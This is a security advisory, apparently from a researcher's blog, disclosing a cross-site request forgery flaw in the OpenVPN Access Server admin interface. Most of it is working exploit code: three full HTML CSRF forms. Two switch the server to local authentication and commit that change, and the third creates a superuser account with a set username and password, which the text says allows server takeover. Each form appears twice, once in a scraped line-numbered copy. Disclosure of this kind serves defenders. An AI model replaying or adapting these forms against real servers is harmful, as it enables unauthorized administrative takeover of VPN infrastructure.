Advisories

OpenVPN

Secunia

Details

When analyzing the OpenVPN Access Server, it quickly became apparent that the administration interface lacked any basic level of CSRF protection, which was easily demonstrated with a CSRF form like this, which will add a new user with admin privileges, using the username “csrfaccount” and password “qweasd”:

<form action="https://192.168.1.133/admin/user_permissions" method="POST" enctype="multipart/form-data"> <input type="hidden" name="search" value=" " /> <input type="hidden" name="edit:openvpn:conn_group" value="None" /> <input type="hidden" name="edit:openvpn:pvt_password_digest" value=" " /> <input type="hidden" name="edit:openvpn:dynstatic" value="true" /> <input type="hidden" name="edit:openvpn:conn_ip" value=" " /> <input type="hidden" name="edit:openvpn:s2c_route_type" value="nat" /> <input type="hidden" name="edit:openvpn:s2c_routes" value=" " /> <input type="hidden" name="edit:openvpn:gwyesno" value="no" /> <input type="hidden" name="edit:openvpn:c2s_routes" value=" " /> <input type="hidden" name="edit:openvpn:dmzyesno" value="no" /> <input type="hidden" name="edit:openvpn:dmz_ip" value=" " /> <input type="hidden" name="new_username" value="csrfaccount" /> <input type="hidden" name="edit:%NEW%USER%:conn_group" value="None" /> <input type="hidden" name="edit:%NEW%USER%:prop_superuser" value="true" /> <input type="hidden" name="edit:%NEW%USER%:pvt_password_digest" value="qweasd" /> <input type="hidden" name="edit:%NEW%USER%:dynstatic" value="true" /> <input type="hidden" name="edit:%NEW%USER%:conn_ip" value=" " /> <input type="hidden" name="edit:%NEW%USER%:s2c_route_type" value="nat" /> <input type="hidden" name="edit:%NEW%USER%:s2c_routes" value=" " /> <input type="hidden" name="edit:%NEW%USER%:gwyesno" value="no" /> <input type="hidden" name="edit:%NEW%USER%:c2s_routes" value=" " /> <input type="hidden" name="edit:%NEW%USER%:dmzyesno" value="no" /> <input type="hidden" name="edit:%NEW%USER%:dmz_ip" value=" " /> <input type="hidden" name="button" value="Save Settings" /> </form> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 < form action = "https://192.168.1.133/admin/user_permissions" method = "POST" enctype = "multipart/form-data" > < input type = "hidden" name = "search" value = " " / > < input type = "hidden" name = "edit:openvpn:conn_group" value = "None" / > < input type = "hidden" name = "edit:openvpn:pvt_password_digest" value = " " / > < input type = "hidden" name = "edit:openvpn:dynstatic" value = "true" / > < input type = "hidden" name = "edit:openvpn:conn_ip" value = " " / > < input type = "hidden" name = "edit:openvpn:s2c_route_type" value = "nat" / > < input type = "hidden" name = "edit:openvpn:s2c_routes" value = " " / > < input type = "hidden" name = "edit:openvpn:gwyesno" value = "no" / > < input type = "hidden" name = "edit:openvpn:c2s_routes" value = " " / > < input type = "hidden" name = "edit:openvpn:dmzyesno" value = "no" / > < input type = "hidden" name = "edit:openvpn:dmz_ip" value = " " / > < input type = "hidden" name = "new_username" value = "csrfaccount" / > < input type = "hidden" name = "edit:%NEW%USER%:conn_group" value = "None" / > < input type = "hidden" name = "edit:%NEW%USER%:prop_superuser" value = "true" / > < input type = "hidden" name = "edit:%NEW%USER%:pvt_password_digest" value = "qweasd" / > < input type = "hidden" name = "edit:%NEW%USER%:dynstatic" value = "true" / > < input type = "hidden" name = "edit:%NEW%USER%:conn_ip" value = " " / > < input type = "hidden" name = "edit:%NEW%USER%:s2c_route_type" value = "nat" / > < input type = "hidden" name = "edit:%NEW%USER%:s2c_routes" value = " " / > < input type = "hidden" name = "edit:%NEW%USER%:gwyesno" value = "no" / > < input type = "hidden" name = "edit:%NEW%USER%:c2s_routes" value = " " / > < input type = "hidden" name = "edit:%NEW%USER%:dmzyesno" value = "no" / > < input type = "hidden" name = "edit:%NEW%USER%:dmz_ip" value = " " / > < input type = "hidden" name = "button" value = "Save Settings" / > < / form >

For this to be effective, we need to ensure that the server is configured to use “Local” authentication. This means OpenVPN controls the authentication, rather than using PAM/RADIUS/LDAP. We can do this with these two simple requests:

<form action="https://192.168.1.133/admin/authentication_general_configuration" method="POST" enctype="multipart/form-data"> <input type="hidden" name="auth.module.type" value="local" /> <input type="hidden" name="button" value="Save Settings" /> </form> 1 2 3 4 < form action = "https://192.168.1.133/admin/authentication_general_configuration" method = "POST" enctype = "multipart/form-data" > < input type = "hidden" name = "auth.module.type" value = "local" / > < input type = "hidden" name = "button" value = "Save Settings" / > < / form >

When we have changed the authentication method, we need to commit the change:

<form action="https://192.168.1.133/admin/authentication_general_configuration" method="POST" enctype="multipart/form-data"> <input type="hidden" name="button" value="Update Running Server" /> <input type="hidden" name="auth.module.type" value="local" /> </form> 1 2 3 4 < form action = "https://192.168.1.133/admin/authentication_general_configuration" method = "POST" enctype = "multipart/form-data" > < input type = "hidden" name = "button" value = "Update Running Server" / > < input type = "hidden" name = "auth.module.type" value = "local" / > < / form >

If we do a CSRF attack against a target using these 3 requests(Which can be done with the method described in my post about multi-stage CSRF attacks), we can then authenticate to the OpenVPN AS admin interface using the account details csrfaccount/qweasd. This further allows us to take over the server.